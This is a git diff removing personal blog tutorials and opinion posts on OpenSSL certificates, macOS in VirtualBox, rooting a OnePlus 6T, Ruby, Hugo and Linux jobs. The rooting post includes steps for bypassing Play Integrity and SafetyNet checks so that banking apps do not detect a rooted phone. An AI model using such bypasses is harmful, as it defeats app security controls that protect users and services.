Inc. } -commonName = { lenerva.com } -emailAddress = { security@lenerva.com } -subjectAltName = @alt_names -[alt_names] -DNS.1 = { lenerva.com } -DNS.2 = { www.lenerva.com } -``` - -### Generating the CSR - -`openssl req -new -out { lenerva.com }.csr -key { lenerva.com }.key -config { lenerva.com }.csr.cnf` - -### Read CSR as a Human - -`openssl req -in { lenerva.com }.csr -text -nout` - -## Jargon - -| Name | Summary | -| :--- | --------------------------: | -| CSR | Certificate Signing Request | -| SAN | Subject Alternative Name | - -## Resources - -- Pinter, Jannis. [Create ED25519 certificates for TLS with OpenSSL](https://blog.pinterjann.is/ed25519-certificates.html) -- [SSL Dragon: How to Install an SSL Certificate on Heroku/](https://www.ssldragon.com/blog/how-to-install-an-ssl-certificate-on-heroku/) - -## How to use Certificates from the Certificate Authority - -### Combining the Certificate - -Sentigo sends us a zip file with the domain certificate and the authority certificate "bundle" as well. We however, want our servers to the send the full certificate chain, otherwise network requests from non-browsers will fail to verify the SSL (speaking from experience using the requests module on my website). Note that a browser will not report any errors as they are "smart" enough to fill in the gaps as a lone certificate can be implied to be signed by a certificate authority. Don't ask me how it really works as I am speaking from a memory of me reading the rationale two or three years ago. - -`cat domain.crt domain.ca-bundle > domain.chain.crt` - -To manually do this: Create a new file chain.crt which is nothing but the contents of the domain.crt file followed by the contents of the ca-bundle file. If you are confused, you can look at my website's github where I have all [three files located](https://github.com/elibroftw/website/tree/master/ssl). - -### Unencrypted Private Key - -Finally, you can print out the private key like so - -```sh -openssl rsa -in domain.key -``` - -```powershell -& 'C:\Program Files\Git\usr\bin\openssl.exe' rsa -in domain.key -``` diff --git a/content/posts/how-to-install-macos-on-virtualbox.md b/content/posts/how-to-install-macos-on-virtualbox.md deleted file mode 100644 index b03f68273..000000000 --- a/content/posts/how-to-install-macos-on-virtualbox.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: "How to Install macOS 12 Monterey on VirtualBox Windows 11" -date: 2023-08-15T21:15:51-04:00 -draft: false -tags: - - windows - - macos - - tutorial - - mobile - - virtual-box -summary: "Tutorial on installing macOS 12 Monterey on VirtualBox on Windows 11 (AMD CPUs), covering setup, configuration, installation steps, and troubleshooting." ---- - -## Disclaimer - -Update: I ended up purchasing a macbook air :( - -Note that macOS 12 is no longer supported by Apple and thus this tutorial is probably a waste of time. - -## Introduction - -For reference: my laptop is the Razer Blade 14 2022 with [AMD Ryzen 9 6900HX](https://www.amd.com/en/product/11541). It supports AMD-V. - -Ventura (13) didn't work for me, so I will try Monterey (12). - -Disable "Memory integrity" under Core isolation in the Windows Security app. Restart computer. This will disable the Hyper-V hypervisor. -You can do this anytime before starting the virtual machine. This was the roadblock that prevented me from running the virtual machine. - -### Creating and Configuring the Virtual Machine - -Writing this tutorial so that you can have an easier time. - -Download [VirtualBox AND the Extension Pack](https://www.virtualbox.org/wiki/Downloads) - -- Install VirtualBox and then install the Extension Pack - -- [macOS 12 ISO download](https://www.mediafire.com/file/4fcx0aeoehmbnmp/macOS+Monterey+by+Techrechard.com.iso/file) -- [macOS 13 ISO download](https://www.mediafire.com/file/dcji26zay7s3p8r/macOS+Ventura+ISO+for+VM+by+techrechard.com.iso/file) - -Create a new Virtual machine, with the name "macOS 12", and select file above for the ISO. - -- Memory: 7840 MB -- Processors: 4 -- New Virtual Hard Drive Storage: 100GB - -Click Setting (cog) - -- Display: 128MB (max) Video Memory -- USB: USB 3.0 - -Close VirtualBox - -Then run these commands in an administrative Powershell. If you are using Command Prompt, use `cd` instead of Set-Location. - -```powershell -Set-Location "C:\Program Files\Oracle\VirtualBox" -.\VBoxManage.exe modifyvm "macOS 12" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac19,3" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc" -.\VBoxManage.exe setextradata "macOS 12" VBoxInternal2/EfiGraphicsResolution 1920x1080 -.\VBoxManage.exe setextradata "macOS 12" GUI/ScaleFactor 1.25 -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/TM/TSCMode" "RealTSCOffset" -``` - -On AMD systems, - -```powershell -.\VBoxManage.exe modifyvm "macOS 12" --cpu-profile "Intel Core i7-6700K" -``` - -On Intel systems, - -```powershell -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1 -``` - -If you get an error, - -```powershell -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 0 -``` - -```powershell -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiSystemFamily" "MacBook Pro" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "MacBookPro11,2" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiSystemSerial" "NO_DEVICE_SN" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiSystemUuid" "CAFECAFE-CAFE-CAFE-CAFE-DECAFFDECAFF" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiOEMVBoxVer" "${DmiOEMVBoxVer}" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiOEMVBoxRev" "${DmiOEMVBoxRev}" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiBIOSVersion" "string:MBP7.89" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Mac-3CBD00234E554E41" -.\VBoxManage.exe setextradata "macOS 12" "VBoxInternal/Devices/efi/0/Config/DmiBoardSerial" "NO_LOGIC_BOARD_SN" -``` - -Open VirtualBox and press Start for macOS 12. Wait a couple minutes. - -Follow [Fixing iMessage and other services with OpenCore](https://dortania.github.io/OpenCore-Post-Install/universal/iservices.html#using-gensmbios) - -### Install Mac OS X - - In the menu bar of VirtualBox: View > Virtual Screen 1 to set the scale smaller or bigger (my laptop is QHD which is why I scaled to 125%) - - TIP: Right Ctrl is the escape key to escape the virtual machine and use the host machine - -1. Select a language and then press the right arrow icon -2. Click Disk Utilty and then Continue -3. On the left sidebar, click "VBOX HARDDISK Media" and then click Erase in the top right bar -4. Enter "macOS 12 HDD" as the name and click Erase, and then Done. -5. Close the Disk Utility by click the red circle in the top left -6. Click Install macOS 12 beta and then continue -7. Click Continue, agree, and agree -8. Click the HDD we just formatted and then click Continue -9. The installation should take 40 minutes -10. Do not log into Apple ID until after you've gone through the setup -11. Right Ctrl + F to enter full screen - -### Installing Guest Additions - -[Stack Overflow](https://stackoverflow.com/questions/41691803/how-to-install-guest-addition-in-mac-os-as-guest-and-windows-machine-as-host) - -### Troubleshooting - -A critical error has occurred while running the virtual machine - -- [I have a 64bit host, but can't install 64bit guests](https://forums.virtualbox.org/viewtopic.php?f=1&t=62339) diff --git a/content/posts/how-to-install-pixelexperience-rom.md b/content/posts/how-to-install-pixelexperience-rom.md deleted file mode 100644 index e7e8695fc..000000000 --- a/content/posts/how-to-install-pixelexperience-rom.md +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: "How to Install and Root PixelExperience ROM for OnePlus 6T" -date: 2023-04-15T22:49:46-04:00 -tags: - - mobile - - android -summary: "A detailed tutorial on installing and rooting PixelExperience ROM on OnePlus 6T, covering backup, tools, firmware upgrade, bootloader unlock, flashing (including dynamic partitions), Magisk rooting (SafetyNet), and troubleshooting common issues." ---- - -Installing the PixelExperience ROM took me more than 4 hours of my time and took a week total from the time I first tried installing the ROM. Some feedback for Android Custom ROM developers and tutorial writers/youtubers are: link to instructions in the original XDA post, do not assume that the user knows how to "enter" a recovery image, write thorough instructions rather than one portion of it, and stop promoting incorrect and unhelpful instructions. I have put everything I've learned together here for you and me to extend our phone's life. - -{{< toc >}} - -## Back up your data - -Make sure to backup everything. Some things to back up: - -- Pictures folder -- DCIM/Camera folder -- Your two factor authenticator app (to google) -- Backup your google 2FA keycodes so that you can login to google with ease if you are away from home -- Backup your contacts to a VCF file - -## Platform tools - -Download [platform tools](https://developer.android.com/tools/releases/platform-tools) and extract it to a folder `android/platform-tools`. This folder should be added -to your PATH environment variable. My [Windows guide for adding a directory to Path](content\posts\windows-add-to-PATH-environment-variable.md) - -Open a terminal window in the folder that will contain all android ROM related files. For me, this would be `"...android\oneplus-6T-fajita"`. - -To open a terminal window, either search up cmd or windows terminal from Windows search. - -## Upgrading to the Latest OxygenOS Firmware - -You need to be running the latest firmware, else the recovery image might not work properly. This only applies if you soft-bricked your phone and unbricked it using my instructions. It's better to download the Stock ROM once on your PC and reuse it rather than make your phone download every time you reset your phone to OOS 10. - -[OxygenOS 11.1.2.2](https://www.oneplus.com/support/softwareupgrade/details?code=PM1574156215016) - -`adb push OnePlus6TOxygen_34.J.62_OTA_0620_all_2111252336_f6eda340d7af4e3e.zip /sdcard` - -To perform a local upgrade, go to Settings > System > System updates > ⚙️ (top right) > Local upgrade. - -## Unlocking the bootloader - -This will wipe your device, so again, backup everything. - -1. Enable developer options by clicking "About phone" and then "build number" at least 5 times until you see a toast notification informing you that developer options are enabled -2. To get to developer options, click System (a menu before the above step) first and then "Developer options" -3. Enable "OEM unlocking" and "USB debugging" -4. Connect your device to your PC - - A popup should come up asking for USB debugging permissions -5. run `adb reboot bootloader` -6. Once your phone shows the green "START" text, run `fastboot oem unlock` -7. On your phone, select "UNLOCK THE BOOTLOADER" - - Press the volume down key twice on your phone and then press the power key -8. Wait 5 minutes for your phone to wipe and boot -9. Skip setup so that you can access your phone's settings and re do steps 1 to 4 - -## Flashing the PixelExperience ROM Corrected - -### Downloads for ROM Installation - -- `copy_partitions.zip`, `vbmeta.img`, `boot.img`, `super_empty.img` from [evolution-x](https://sourceforge.net/projects/evolution-x/files/fajita/) -- [PixelExperience Plus ROM ZIP](https://get.pixelexperience.org/devices) - -### Flashing the ROM - -Like before, enable USB debugging. - -> 1. Enable developer options by clicking "About phone" and then "build number" at least 5 times until you see a toast notification informing you that developer options are enabled -> 2. To get to developer options, click System (a menu before the above step) first and then "Developer options" -> 3. Enable "OEM unlocking" and "USB debugging" -> 4. Connect your device to your PC -> - A popup should come up asking for USB debugging permissions - -1. `adb reboot bootloader` -2. Flash the new retrofit dynamic partitions boot image & recovery - - ```sh - fastboot flash vbmeta_a vbmeta.img - fastboot flash vbmeta_b vbmeta.img - fastboot flash boot_a boot.img - fastboot flash boot_b boot.img - ``` - -3. Erase the old android partitions with the following - - ```sh - fastboot erase system_a - fastboot erase system_b - fastboot erase odm_a - fastboot erase odm_b - fastboot erase vendor_a - fastboot erase vendor_b - ``` - -4. From the bootloader, use volume buttons, and click "Recovery Mode" to boot into recovery -5. Volume down 3 times to Advanced and click power button. -6. Click power button to enter fastboot -7. Initialize the retrofit super partitions for each slot - - ```sh - fastboot wipe-super super_empty.img - fastboot set_active other - fastboot wipe-super super_empty.img - fastboot set_active other - ``` - -8. Now enter recovery -9. Apply update > Apply from ADB -10. `adb sideload copy-partitions.zip` -11. On phone, select "Install anyways" -12. Select "Apply from ADB" again -13. `adb sideload PixelExperience_Plus_fajita-13.0-20230419-2046-OFFICIAL.zip` (different filename for you) -14. Select "Install anyways" -15. To go back, you can press the up arrow key first and then the power key -16. Factory reset (Format data) -17. Reboot to system (go back first) - -### Updating the ROM - -We'll get to this in the future. - -## Rooting - -### Downloads for Rooting - -- [Python](https://www.python.org/) and add this to your Path environment variable -- Download or `git clone` [payload_dumper](https://github.com/vm03/payload_dumper) and extract its contents to a folder like `android/payload_dumper` - -### Installing Magisk - -1. Inside the `payload-dumper` folder, run `python -m pip install -r requirements.txt` -2. Extract the PixelExperience.zip in another folder (e.g. `oneplus-6T-fajita/`) and run `python payload_dumper.py path/to/payload.bin` -3. Copy `payload_dump/output/boot.img` to your phone's device - - `adb push boot.img /sdcard/Download` -4. Follow [Magisk instructions](https://topjohnwu.github.io/Magisk/install.html#getting-started) to patch the boot image - - Download and install the [Magisk app](https://github.com/topjohnwu/Magisk/releases/latest) - - On your phone, patch `boot.img` with the Magisk app - - Click "Install" beside Magisk - - Method is "Select and Patch a File" - - "LET'S GO" - - Open a terminal in your oneplus-6T-fajita folder - - `adb pull boot.img /sdcard/magisk_patched_[random_strings].img` -5. Reboot into recovery (enabled advanced restart in phone settings) -6. Flash the patched boot image - - `fastboot flash boot path_to_magisk_patched_[random_strings].img` -7. Reboot, launch Magisk app and beside "App" click install -8. Install Root Checker from Google Play Store - - In Root Chcker, Click "verify root" and see if there is a popup from Magisk - -### Passing Play Integrity / SafetyNet Attestation - -1. To your phone, download [MagiskHide Props Config](https://github.com/Magisk-Modules-Repo/MagiskHidePropsConf/releases/latest) -2. To your phone, download [Universal SafetyNet Fix](https://github.com/Displax/safetynet-fix/releases/latest) - - In case these instructions don't work in the future, see if the [original fork has a more recent release](https://github.com/kdrag0n/safetynet-fix/releases/latest) -3. Open the Magisk app, click modules, install the two zip files from storage, and reboot only after installing the second zip -4. After reboot, open Magisk, click ⚙️ (top right), configure DenyList and add apps that you need to bypass - - Show System apps - - Deny all Google apps except for YouTube by searching "google" - - Deny any apps that require safety checks like some banking apps -5. Enable denylist -6. Restart phone -7. Install [Termux](https://play.google.com/store/apps/details?id=com.termux) -8. Edit props (just in case) - - ```sh - su # GRANT ACCESS TEMPORARILY - props - 2. Force BASIC key attestation - d - 7 # Google - 5 # Google Nexus 6P. Don't know why this worked? - y # confirm prop changes - e # don't reboot - # editing device fingerprint might not be needed - props - 1. Edit Device fingerprint - f # certified fingerprint - 21 # OnePLus - 9 # 6T - 2 # Android 10 - y - e # don't reboot yet - ``` - -9. In Magisk settings ⚙️, click hide the Magisk app and rename to "Manager" or whatever is easy for you to remember -10. Clear all data of Google Play Services, Google Play Store, and Google Wallet through the phone's settings -11. Confirm that the three apps above are on the deny list of Magisk -12. Restart phone -13. Open Google Wallet app / banking app -14. Check integrity status with the [Play Integrity API Checker](https://play.google.com/store/apps/details?id=gr.nikolasspyr.integritycheck) - - First two lines should be green - - Third line should be red, DO NOT LOCK THE BOOT LOADER -15. Check integrity status with the [YASNAC - SafetyNet Checker](https://play.google.com/store/apps/details?id=rikka.safetynetchecker) - -### YouTube ReVanced - -1. [Download ReVanced Manager](https://github.com/revanced/revanced-manager/releases/latest) -2. Open the manager -3. Patchcher -4. Select YouTube application -5. Check if current version matches recommended. If not install the recommended version from [apkpure](https://apkpure.com/youtube/com.google.android.youtube/versions) -6. Close and reopen the manager -7. Select Patcher > YouTube > Selected patches > Recommended > Uncheck microG -8. Done. -9. Click patch and wait for 10 seconds -10. Click install root - -The root install does not remove ads from the home screen, but it's not that big of a deal. - -## Troubleshooting - -### To get out of CrashDump and into bootloader - -This error occurs when the TWRP version you flashed is incompatible with the Android version running on the phone. For example, a \_12 TWRP version is incompatible with Android 11 and a \_11 TWRP version is incompatible with Android 12. - -1. Hold Pwr+Vol Up until phone buzzes and then immediately -2. Hold Pwr+Vol Up+Vol Down to boot bootloader (let go when you read fastboot mode) -3. Flash the correct TWRP boot image version for your device - -### Unbricking your Phone - -1. Download MSMDownloadTool and extract to a folder - - [download link one](https://androidfilehost.com/?fid=17248734326145733776) - - [download link alternative](https://androidfilehost.com/?fid=1395089523397966003) - - I keep all my android ROM related files in a folder called `android/device-name` -2. Download and install [Qualcomm HS-USB QDLoader 9008 Drivers](https://droidwin.com/download-install-qualcomm-hs-usb-qdloader-9008-drivers/#Download_Qualcomm_HS-USB_QDLoader_9008_Drivers) -3. Reboot PC -4. Open MSM Download Tool -5. Power off and disconnect phone -6. Hold volume up and down buttons on phone -7. While holding the buttons, connect the phone to the PC -8. Press start in MSM Download Tool -9. Takes 10-20 minutes - -## References and Other Links - -1. [PixelExperience First Time Install](https://github.com/snnbyyds/PE-retrofit_dynamic_partitions-Migration/blob/main/README.md) -2. [Evolution-X Install Instructions](https://gist.github.com/jabashque/226406e5210bed057817a89608b20311) -3. [Recovery Files for OnePlus 6](https://sourceforge.net/projects/oneplus-6-series/files/) -4. [The Recommended TWRP](https://sourceforge.net/projects/sn-roms/files/TWRP/) -5. [Universal Safetney Fix GitHub Issue](https://github.com/kdrag0n/safetynet-fix/issues/248) diff --git a/content/posts/how-to-install-ruby-on-macos.md b/content/posts/how-to-install-ruby-on-macos.md deleted file mode 100644 index 552ede7cd..000000000 --- a/content/posts/how-to-install-ruby-on-macos.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: "How to Install Ruby on MacOS" -date: 2024-02-05T21:28:03-05:00 -draft: false -tags: - - macos - - tutorial -summary: "A concise guide on installing Ruby on macOS using Homebrew, `ruby-install`, and `chruby` with `zsh` commands, addressing common issues with other tutorials." ---- - -This is how you install Ruby on MacOS and you don't have to reopen the terminal. - -```zsh -brew install ruby-install chruby -ruby-install -V -echo "# enable chruby" >> ~/.zshrc -echo "source /usr/local/share/chruby/chruby.sh" >> ~/.zshrc -echo "source /usr/local/share/chruby/auto.sh" >> ~/.zshrc -echo "chruby ruby-3.3.0" >> ~/.zshrc -. ~/.zshrc -ruby-install ruby -``` - -Can you believe you have to read this blog post to install ruby? Neither can I. I had to install ruby myself because of some bug in cocoapods 0.15.0 that prevented me from building my react-native application for iOS and when I used `sudo gem install cocoapods -v 1.14.3` it complained about my ruby version! All the other tutorials are written by LOW IQ individuals and wasted more time than it took to write this blog post. diff --git a/content/posts/hugo-tutorial.md b/content/posts/hugo-tutorial.md deleted file mode 100644 index 89764898a..000000000 --- a/content/posts/hugo-tutorial.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: "Creating a Blog With GitHub Pages and Hugo" -date: 2021-12-17T22:18:47-05:00 -tags: - - tutorial - - programming - - hugo - - markdown - - git -summary: "Learn how to setup a blog using Hugo and host it for free on GitHub Pages." ---- - -I created this blog using Hugo and host it on GitHub Pages. In this tutorial, I'll teach you to do the same. -The resources I had used to create a working blog left out some important details that I will include in my tutorial. -I've also done the brunt of the work to perfect the theme and workflow. -If you are like me, you can follow the tutorial that [copies my site](#copying-my-blog) rather than making a blog site [from scratch](#from-scratch). - -## Prerequisites - -1. [Hugo](https://gohugo.io/getting-started/installing#binary-cross-platform) is "installed" and can be used (test `hugo version`) -2. [git](https://git-scm.com/downloads) is installed and can be used (test `git version`) -3. If either test fails (i.e. not on PATH), learn from [how to add to PATH](https://duckduckgo.com/?t=ffab&q=how+to+add+to+path&ia=web) -4. VS Code + Hugo Helper extension - -## Copying My Blog - -1. Create a repository like `$sub.$domain.$tld` or `$username.github.io` (empty) -2. Go to https://github.com/USERNAME/blog/settings/pages -3. Select the source as `gh-pages` (you may need to create this branch) -4. For folder select `/` -5. Click save -6. Add a custom domain if you want later since it takes 5+ minutes -7. Edit the About section in https://github.com/USERNAME/blog/ and change the website to `https://USERNAME.github.io` or a domain -8. Clone your repo using `git clone --recurse-submodules -j8 https://github.com/USERNAME/blog.git` or GitHub desktop - - also set `git config --global submodule.recurse true` -9. Click "Code" and then "Download ZIP" from [github/elibroftw/blog.elijahlopez.ca](https://github.com/elibroftw/blog.elijahlopez.ca) -10. Unzip my blog into your locally cloned repository. -11. Delete dir `content/posts` and `content/authors` -12. Recreate your default author using `hugo new authors/name-last.md` -13. Edit `hugo.yaml` and replace my information with yours - - set `baseUrl` to the one shown by GitHub - - change the `author`, `email`, and `social` - - for a comment section, set up `Giscus` - - Go to [https://giscus.app](https://giscus.app/) - - Enter your repository - - Select a category - - Under Enable giscus, copy the IDs from the website's script code into the `Giscus*` fields in the `hugo.yaml` file -14. Add your own `favicon.ico` to `static/images` -15. You can remove \# to enable certain features (the about section requires uses `content/about.md` and `content/about-subpage.md`) -16. Read `content/hugo-guide.md` in your new repo to help you write, edit, and publish posts - -## From Scratch - -1. Create a `USERNAME.github.io` repository in GitHub -2. Ensuring your articles publish - - Click "Actions" (beside Pull Request), "New workflow", "Set up..." - - Enter the name "gh-pages.yml" - - Copy sample workflow from [my repo](https://github.com/elibroftw/blog.elijahlopez.ca/blob/master/.github/workflows/gh-pages.yml) - - If you're default branch name (e.g. main) is not master, replace the two occurrences of master with your default branch name - - Save -3. Clone your repository using `git clone https://...` -4. Get the GitHub link for a [theme](https://themes.gohugo.io/) -5. Add the theme using `git submodule add GitHubURL.git themes/themeName` -6. Read the theme instructions for basic configuration (i.e. `config.yaml` or `config.toml`) -7. Edit `config.yaml` or `config.toml` - - Also add your own `favicon.ico` to `static/images` - - Set `disableSummary` to false -8. Use `hugo new content/posts/POST.md` to create a new post - - Alternative: use the hugo helpers, "Hugo: create content" command -9. Use `hugo serve -D` when drafting the post and see your changes at [http://localhost:1313/](http://localhost:1313/) -10. Set `draft: false` after you are done drafting a post -11. Add README.md with `git clone --recurse-submodules -j8 https://github.com/USERNAME/blog.git` clone instructions -12. Commit and push to origin (GitHub) -13. To update your themes, use `git submodule update --remote --merge` - -## Other Resources - -- https://gohugo.io/getting-started/quick-start/ -- https://retrolog.io/blog/creating-a-hugo-theme-from-scratch/ -- https://levelup.gitconnected.com/build-a-personal-website-with-github-pages-and-hugo-6c68592204c7 - -## Troubleshooting - -Note if you just installed git, you will need to set your username and email. - -Set your username: `git config --global user.name "FIRST_NAME LAST_NAME"` - -Set your email address: `git config --global user.email "MY_NAME@example.com"` \ No newline at end of file diff --git a/content/posts/internet-porn-brain-degeneration.md b/content/posts/internet-porn-brain-degeneration.md deleted file mode 100644 index 87a76f7f9..000000000 --- a/content/posts/internet-porn-brain-degeneration.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: "Internet Pornography is Degenerating The Human Brain" -date: 2023-05-11T12:40:02-04:00 -draft: false -tags: - - opinion -summary: "An analysis arguing that internet pornography contributes to brain degeneration, particularly in young men, due to overstimulation. The post discusses psychological/social impacts and explores challenges and potential solutions for addressing porn addiction." ---- - -One of the biggest social problems arising from the digital revolution and accessibility of computers and the internet is porn addiction. This problem is mostly prevalent in young men (Logue, 2015) and can start during childhood (Dignify, 2015). Before the digital age of computers and the internet, pornography was limited to drawings, physical pictures, video tapes, and magazines like Playboy. The internet and computerization allowed for faster, cheaper, and easier distribution and consumption. Rather than require an 18+ ID, porn could suddenly be accessed without any acknowledgment of mental issues and simply required pressing “OK’ to any age confirmation popup. Computerization and the internet enabled the access to the entire knowledge database at consumers’ fingertips including pornography. This digitalization and accessibility also meant that more pornography can be distributed and consumed in centralized locations (websites) and thus rather than be limited to a few selections of material, consumers can choose an essentially unlimited amount of content to consume! - -From both an economic and psychological perspective, consuming the same content results in diminishing marginal utility. So, when supply of pornography is endless and much easier to access than alternatives (magazines at a gas station, consent of a physical partner, etc.), a person can go through so many virtual partners. This can strain the standard idea of monogamous relationships and even within a relationship can an addiction persist. Consumption of porn while in a relationship may be considered cheating to some or at the very least can make the partner feel insecure about themselves (Patel, 2019). Regardless of whether consumption is still present in a relationship, porn normalizes certain sexual acts, behaviours, and expectations that normally wouldn’t even be known. For example, in porn, the act may last 30 minutes, however in reality the average is 5-7 minutes (IQWiG, 2006). The consumption from either party increases anxiety which leads to higher levels of dissatisfaction and the normalization of sexual violence (Vera-Gray, 2021). - -From a scientific point of view to explain porn addiction, the consumption of new content often with little to no effort results in the dopamine receptors being dulled. Porn overstimulates the brain and leads to secreting more than a natural amount of dopamine. This overstimulation and over secretion can result in unresponsiveness to natural sources of pleasure (The Conversation, 2019). Dopamine receptors play a central role in the reward system of the brain (Bhatia, 2023). An example of a natural source of pleasure for a man who is heterosexual would simply be preparing for sexual intercourse with his nude female partner; In this case, the receptors may be so damaged that the man may have trouble “getting it up” (getting and maintaining an erection). This is called porn-induced erectile dysfunction and there is a link between the amount of porn a man watches his level of erectile dysfunction (Jacobs, 2020). A metaphor would be like a dull knife that is unable to cut meat because it was used to cut much easier foods. - -The question then becomes what to do about porn addiction, what has been done, and what options are available from a community perspective? Individually, it is up to each person to self-regulate, however an addict is hardly going to be able to see the issues caused by abusing drugs. In that sense, solving porn addiction is like solving drug addiction where a physical outward change may occur. Porn addiction however has mental side effects, so it is harder to pinpoint who is suffering from this addiction. Furthermore, porn consumption isn’t necessarily immoral, and so unless a government was to adopt an authoritarian stance on the issue, it wouldn’t be banned from the country. Not to mention the existence of VPNs. Any internet porn censoring (even by suppliers) would result in a rise in VPN interest to circumvent said ban, as can be seen in Utah (Lewis, 2023). - -Another issue with curing porn addiction is that its consumption is normalized - at least in western culture. As the popular saying goes, “sex sells”. However, with porn addiction, the addiction can be triggered simply by seductive and lustful media (softcore porn) and not necessarily, what pornographic content is. Even if porn sites ceased to exist, sexually implicit media is abundant: social media posts, celebrities, memes, youtube, advertisements. All these potential triggers require resistance training and a higher level of willpower. So, in terms of dealing with triggers, an immense amount of willpower and contingency planning must be done. Each person will be at different stages of porn addiction, with different reasons, and will have different triggers. So just like with anti-marijuana and anti-gambling advertisements by the Canadian government, an anti-porn campaign would be beneficial to the public, even if the solution is up to the individual at the end of the day. - -Preventing manifestation is a stab at porn addiction. It is known that porn addiction can develop in children (please cite). One may jump to conclusions and say that children can simply be educated about porn addiction in school however this naïve thinking ignores how sexual education itself is taboo for some parents and can even be opted out by parents. If porn was being talked about in class to children aged 12, then a lot of parents would also be angry as they might perceive their child’s innocence to be taken away. The solution isn’t simply to “sexually educate” children, but additionally **educate parents themselves**. This requires the cooperation of many people and since it’s a taboo topic, it may not be met with open arms. - -In conclusion, porn addiction is a private problem facing many individuals and the lack of sexual education in school can lead to disastrous relationship related situations for the public. A society plagued with addiction will be objectively less happy and less content than a society without addiction. There are democratic solutions available to be deployed, however the private nature of porn addiction combined with the taboo around sexual education makes both rehabilitation and prevention a difficult task. - -## Bibliography - -Bhatia, Anmol., Lenchner, Jennifer R., Saadabadi, Abdolreza. (2023 January). Biochemistry, Dopamine Receptors. StatPearls. - -The Conversation. (2019, December). Watching pornography rewires the brain to a more juvenile state. Neuroscience News. - -Dignify. (2021). Written evidence submitted by Dignify. UK Parliament. - -IQWiG. (2006). Premature ejaculation: Overview. Institute for Quality and Efficiency in Health Care. - -Jacobs T., Fog-Poulsen K., Vermandel A., Wood D., De Wachter S., De Win G. (2020). More Porn, Worse Erectile Function. EAU 2020. - -Lewis, Kaitlin. (2023, May). Utah Searches for VPN Spike After Pornhub Blocks Access to State. Newsweek. - -Logue, J. (2015, October). Statistics on Who Uses Pornography. SAGU ThoughtHub. - -Patel, A. (2019, January). Does watching porn count as cheating? Experts debate digital infidelity. Global News. - -Vera-Gray, Fiona., McGlynn, Clare., Kureshi, Ibad., Butterby, Kate. (2021, September). Sexual violence as a sexual script in mainstream online pornography. The British Journal of Criminology, 61(5), 1243–1260. diff --git a/content/posts/ios-versus-android.md b/content/posts/ios-versus-android.md deleted file mode 100644 index 5f8122ba9..000000000 --- a/content/posts/ios-versus-android.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: "iOS Versus Android" -date: 2023-04-18T16:55:02-04:00 -draft: false -tags: -summary: "Comparing iOS and Android, arguing that Android has matched or exceeded iOS in many areas, leaving few compelling reasons for an iPhone beyond specific use cases, and discussing the broader Mac vs. Windows debate." ---- - -There's only a couple reasons to get an iPhone. - -1. Videography. -2. Seamless integration with your MacBook - - Microsoft's Phone Link integrates phones with Windows 10 & 11 -3. iMessage - - Even then, iMessage is iPhone only, and Whatsapp is end-to-end encrypted as well and does not scan your images. I don't recommend Signal because it is buggy, causes familial conflicts with non-tech members, and it removed SMS integration so it became another Whatsapp. Whatsapp works fine for criminals, is it really ins - (Google is pretty slow at software cycles, but at least whatsapp is here). -4. Max performance, although it's irrelevant since a phone can't replace a laptop/desktop. And even then, I read that macbook pro users were getting poor battery life when programming, so you'd be paying more for less. -All other reasons are outdated; Android had a late start plus Google & Snapdragon didn't prioritize the right features properly. I'd say android caught up with Apple software wise after Nougat came out (2017), overtook Iphone's aesthetics in 2019 (apple went with face ID, while android went with fingerprint in display and smaller notch), and since last year overtook iPhone in pictures (pixel 7). I can commend Apple on being innovative and speedy, but they don't have a long-term vision since they aren't idealists but rather elitists. Even Google is elitist, but open-source ensures that their biases can be corrected. - -At the end of the day, the MacBook vs Windows debate falls on the shoulder of AMD's silicon. If AMD can push out a chip with as much power as Apple Silicon with the same power efficiency, the tide will turn faster. diff --git a/content/posts/linux-background-process.md b/content/posts/linux-background-process.md deleted file mode 100644 index 009649222..000000000 --- a/content/posts/linux-background-process.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: "[Linux] Run Process in the Background and Detach" -date: 2024-02-24T15:23:23-05:00 -draft: false -tags: - - tutorial - - linux -alias: - - /posts/linux-desktop-detach-process-from-terminal/ -summary: "Learn multiple methods to run Linux processes in the background and detach them from the terminal using commands like `disown`, `nohup`, and `dex`, with code examples." ---- - -### Using disown - -So let's start a job in the shell. - -```sh -firefox & -``` - -This will start the job in the background of the shell, but it will still be a child of the terminal. We can confirm by running `jobs`. -If we want to keep the application running after we close or disconnect from the shell, then we need to use `disown`. If we have multiple jobs, then we can also use `%n` - -```sh -firefox & -disown -``` - -```sh -firefox & -code & -disown %1 -``` - -Putting it all together while ignoring stdout and stderr in the terminal - -```sh -firefox >/dev/null 2>&1 & disown -``` - -Yes the disown applies to the same command and not any currently active job - -### nohup - -`nohup`, is an application that executes another application such that it won't receive a `SIGHUP` when the shell receives the hang up signal. Typically, we also 